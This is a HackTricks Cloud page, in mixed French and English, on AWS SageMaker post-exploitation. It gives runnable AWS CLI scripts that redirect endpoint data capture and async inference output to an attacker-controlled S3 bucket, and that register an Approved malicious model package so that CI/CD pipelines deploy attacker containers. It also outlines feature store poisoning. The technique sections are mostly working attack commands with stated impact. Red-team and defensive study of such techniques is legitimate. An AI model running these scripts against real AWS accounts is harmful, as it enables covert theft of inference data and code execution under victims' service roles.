AWS - SageMaker Post-Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Siphonnage des donnĂ©es dâun endpoint SageMaker via UpdateEndpoint DataCaptureConfig
Exploiter la gestion des endpoints SageMaker pour activer la capture complĂšte des requĂȘtes/rĂ©ponses vers un bucket S3 contrĂŽlĂ© par lâattaquant, sans toucher au modĂšle ni au container. Utilise une mise Ă jour rolling Ă zĂ©ro ou faible temps dâarrĂȘt et nĂ©cessite uniquement les permissions de gestion dâendpoint.
Exigences
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(ou utiliser un bucket existant dans le mĂȘme compte) - Optionnel (si utilisation de SSEâKMS):
kms:Encryptsur la CMK choisie - Cible : un endpoint InService temps rĂ©el existant dans le mĂȘme compte/rĂ©gion
Ătapes
- Identifier un endpoint InService et récupérer les variants de production actuels
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- PrĂ©parer la destination S3 de lâattaquant pour les captures
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- CrĂ©ez un nouvel EndpointConfig qui conserve les mĂȘmes variants mais active DataCapture vers le bucket de lâattaquant
Note : Utilisez des types de contenu explicites qui satisfont la validation de la CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Appliquer la nouvelle configuration avec une mise Ă jour progressive (temps dâarrĂȘt minimal / nul)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- GĂ©nĂ©rer au moins un appel dâinfĂ©rence (optionnel si du trafic en direct est prĂ©sent)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Valider les captures dans le S3 de lâattaquant
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Impact
- Exfiltration complĂšte des payloads de requĂȘtes et de rĂ©ponses dâinfĂ©rence en temps rĂ©el (et des mĂ©tadonnĂ©es) depuis lâendpoint ciblĂ© vers un bucket S3 contrĂŽlĂ© par lâattaquant.
- Aucun changement Ă lâimage model/container et seulement des modifications au niveau endpoint, permettant une voie de vol de donnĂ©es discrĂšte avec une perturbation opĂ©rationnelle minimale.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abuser de la gestion des endpoints pour rediriger les sorties dâinfĂ©rence asynchrone vers un bucket S3 contrĂŽlĂ© par lâattaquant en clonant lâEndpointConfig actuel et en configurant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: PossibilitĂ© dâĂ©crire dans le bucket S3 contrĂŽlĂ© par lâattaquant (via le model execution role ou une policy de bucket permissive)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
Steps
- RĂ©cupĂ©rer les ProductionVariants actuels depuis lâendpoint ciblĂ©
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- CrĂ©ez un attacker bucket (assurez-vous que le rĂŽle dâexĂ©cution du modĂšle peut PutObject sur celui-ci)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Clone EndpointConfig et hijack les sorties AsyncInference vers lâattacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- DĂ©clencher une async invocation et vĂ©rifier que les objets sont dĂ©posĂ©s dans le S3 de lâattaquant
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impact
- Redirige les rĂ©sultats dâinfĂ©rence asynchrone (et les corps dâerreur) vers un S3 contrĂŽlĂ© par lâattaquant, permettant lâexfiltration clandestine des prĂ©dictions et des entrĂ©es prĂ©/post-traitĂ©es potentiellement sensibles produites par le conteneur, sans modifier le code ou lâimage du modĂšle et avec un temps dâarrĂȘt minimal/aucun.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Si un attaquant peut exĂ©cuter CreateModelPackage sur un SageMaker Model Package Group ciblĂ©, il peut enregistrer une nouvelle version du modĂšle pointant vers une image de conteneur contrĂŽlĂ©e par lâattaquant et la marquer immĂ©diatement comme Approved. De nombreux pipelines CI/CD dĂ©ploient automatiquement les versions de modĂšle Approved vers des endpoints ou des training jobs, ce qui entraĂźne lâexĂ©cution de code malveillant sous les rĂŽles dâexĂ©cution du service. Lâexposition inter-comptes peut ĂȘtre amplifiĂ©e par une politique de ressource ModelPackageGroup permissive.
Requirements
- IAM (minimum to poison an existing group):
sagemaker:CreateModelPackageon the target ModelPackageGroup - Optional (to create a group if one doesnât exist):
sagemaker:CreateModelPackageGroup - S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
- Target: A Model Package Group that downstream automation watches for Approved versions
Steps
- Set region and create/find a target Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Préparer des données de modÚle factices dans S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Enregistrer une version Approved dâun model package malveillante (ici bĂ©nigne) faisant rĂ©fĂ©rence Ă une image publique AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Vérifier que la nouvelle version approuvée existe
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Impact
- Empoisonner le Model Registry avec une version Approved qui rĂ©fĂ©rence du code contrĂŽlĂ© par lâattaquant. Les pipelines qui dĂ©ploient automatiquement les modĂšles Approved peuvent pull et exĂ©cuter lâimage de lâattaquant, entraĂźnant une exĂ©cution de code avec les rĂŽles endpoint/training.
- Avec une politique de ressource permissive sur ModelPackageGroup (PutModelPackageGroupPolicy), cet abus peut ĂȘtre dĂ©clenchĂ© cross-account.
Feature store poisoning
Abuser de sagemaker:PutRecord sur un Feature Group avec OnlineStore activĂ© pour Ă©craser des valeurs de features en direct consommĂ©es par lâinference en ligne. CombinĂ© avec sagemaker:GetRecord, un attaquant peut lire des features sensibles. Cela ne nĂ©cessite pas dâaccĂšs aux modĂšles ou aux endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

